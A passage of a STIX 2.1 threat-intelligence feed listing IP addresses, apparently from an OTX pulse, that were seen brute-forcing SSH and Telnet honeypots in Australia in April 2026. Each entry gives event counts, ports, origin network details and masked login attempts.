      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--599b6aeb-a74d-4b1c-9117-99094db67151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.142.152.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 64439. Organisation(s): IT Outsourcing LLC. Usernames observed (masked): a***n, r**t, u**r, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*****@, C******e, a*********3.",
      "id": "indicator--4a5b8a26-e589-4eb5-920d-d5d12bcad52f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.211.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 24863. Organisation(s): LINKdotNET. Usernames observed (masked): r**t, u****u. Passwords observed (masked): 1**********C, Q**********@, Q*******4, q******6.",
      "id": "indicator--7e1cb6b3-9b18-4dde-a542-c9de8248ef48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.128.181.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268114. Organisation(s): THM Tecnologia Net Ltda. Usernames observed (masked): u**r, 3**********4, c****e, o****7, r**t. Passwords observed (masked): 3***********4, 3**********4, C******e, C******@, Q****9.",
      "id": "indicator--4020b69a-bfea-4488-8aba-9d3b4d89f001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.169.128.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): ***. Passwords observed (masked): v****!.",
      "id": "indicator--793aed51-48ee-4e8e-8593-5479e14ae4a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.209.251.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GR. ASN(s): 203273. Organisation(s): NetCrafters OU. Usernames observed (masked): r**t. Passwords observed (masked): a****3.",
      "id": "indicator--11209706-ac46-4aa6-8b77-62fe7c993c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.186.212.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:15:10.000Z",
      "valid_until": "2026-05-06T18:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 290. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, ***, u****4, g***********r. Passwords observed (masked): 3***********4, 3**********4, 1***5, P********!, Q********..",
      "id": "indicator--e3f6b35d-0da5-46f8-a7e3-7a93ca209fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.156.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION. Usernames observed (masked): r**t, u****u, n****a, p******s, t*******k. Passwords observed (masked): 1***5, 1****6, 1******x, 3***********4, 3**********4.",
      "id": "indicator--3f139be1-69e3-4e69-ada6-55b7cc782f44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.171.168.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, d****y, f*****r, h***y. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1********!, A********1.",
      "id": "indicator--6eb82bc6-0555-491a-b995-24d25d0cc1fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.178.141.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, u****4, c****e. Passwords observed (masked): 3***********4, 3**********4, ***, 1********0, P********!.",
      "id": "indicator--49f1a1dd-985c-4d8c-b9fe-17e9ab78f476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.190.142.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 23956. Organisation(s): AmberIT Limited. Usernames observed (masked): r**t, u****u, u**r, d****y, 3**********4. Passwords observed (masked): 1****6, 3***********4, 3**********4, @***n, A*********b.",
      "id": "indicator--3d56a804-87b5-4b64-af1c-289cfe1a4700",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.4.106.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 207713. Organisation(s): Global Internet Solutions LLC.",
      "id": "indicator--c1d8633f-c98d-4b65-b409-a7e297ad233c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.220.86.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): r**t, u****u, f**m, 3**********4, a***n. Passwords observed (masked): **, ***, 1****6, 1*******#, 3***********4.",
      "id": "indicator--fccd9372-5a86-44ed-b37e-0b02faab97a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.121.147.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): b******************x, e**********x. Passwords observed (masked): /***************x, s******************'.",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n, r**t, 3**********4, o**o, u****u. Passwords observed (masked): 3***********4, 3**********4, 1****e, 1*******#, A******!.",
      "id": "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.78.201.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4, c***s, f*****r, ***. Passwords observed (masked): 0****0, ***, 1****3, 1***5, 1********!.",
      "id": "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.247.37.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6181. Organisation(s): Cincinnati Bell Telephone Company LLC.",
      "id": "indicator--7b7ceda7-225c-44d7-8951-880c4a179a37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.42.133.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): r**t, 3**********4, ***, c****e, f******o. Passwords observed (masked): 3***********4, 3**********4, ***, 1********0, Q********..",
      "id": "indicator--a6daae1f-012b-427f-9ca5-c8912c2a4a24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.111.76.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): r**t, u****u, a***n, 3**********4, o**o. Passwords observed (masked): 3***********4, 3**********4, 0***0, 1******8, 1****e.",
      "id": "indicator--dc607bc6-b3ec-44a9-a7e8-a17fb6e51d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.205.56.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T19:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--8c5a690a-e58f-433f-be80-7f402eee8be5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.71.127.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T19:15:15.000Z",
      "valid_until": "2026-05-06T19:15:09.000Z"
    },
    {
      "created": "2026-04-04T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--6b27ea6e-3566-47e1-b230-252042047762",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:15:10.000Z",
      "valid_until": "2026-05-06T20:15:08.000Z"
    },
    {
      "created": "2026-04-04T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--93e118c4-2ec3-4579-8538-940fa103c4cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.39.251.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:15:10.000Z",
      "valid_until": "2026-05-06T20:15:08.000Z"
    },
    {
      "created": "2026-04-04T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4f9bd0a9-cbdd-47a4-bcd2-fb92a2b06fe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.230.49.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:15:10.000Z",
      "valid_until": "2026-05-06T20:15:08.000Z"
    },
    {
      "created": "2026-04-04T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:15:10.000Z",
      "valid_until": "2026-05-06T20:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--316c2c7c-38fb-4656-bb32-d4d0b8b72175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.70.176.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--56290187-9991-4118-bf2c-cd42ed92c57c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 140825. Organisation(s): Thien Quang Digital technology joint stock company. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--158752ca-46c3-4da8-98d7-9050c145dc5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.30.172.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 31200. Organisation(s): Novotelecom Ltd.",
      "id": "indicator--676beca7-c492-4b95-9ecd-73b1c99572a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.49.109.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***. Passwords observed (masked): N**8.",
      "id": "indicator--628e649c-3291-4b7e-a41e-21e5911830a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.112.78.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 24852. Organisation(s): UAB INIT. Usernames observed (masked): r**t. Passwords observed (masked): u****u.",
      "id": "indicator--bf682326-b9ec-45b8-9906-71d9bb9d62bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.132.168.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T21:15:10.000Z",
      "valid_until": "2026-05-06T21:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, a***d, ***, p******s. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, A*****1.",
      "id": "indicator--13aefd73-0508-4f21-98fe-6923ccf81efe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.180.88.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--85025cd8-6d60-48a1-9ccb-51bb69b412c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.44.235.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24165. Organisation(s): UNION BROADBAND NETWORK.",
      "id": "indicator--14cb6c77-0a40-4672-9aac-3def9be71323",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.254.29.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
      "valid_until": "2026-05-06T22:15:08.000Z"
    },
    {
      "created": "2026-04-04T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 214209. Organisation(s): Internet Magnate (Pty) Ltd.",
      "id": "indicator--4055172f-6956-43eb-b2c2-e295e0331aa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.20.185.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T22:15:10.000Z",
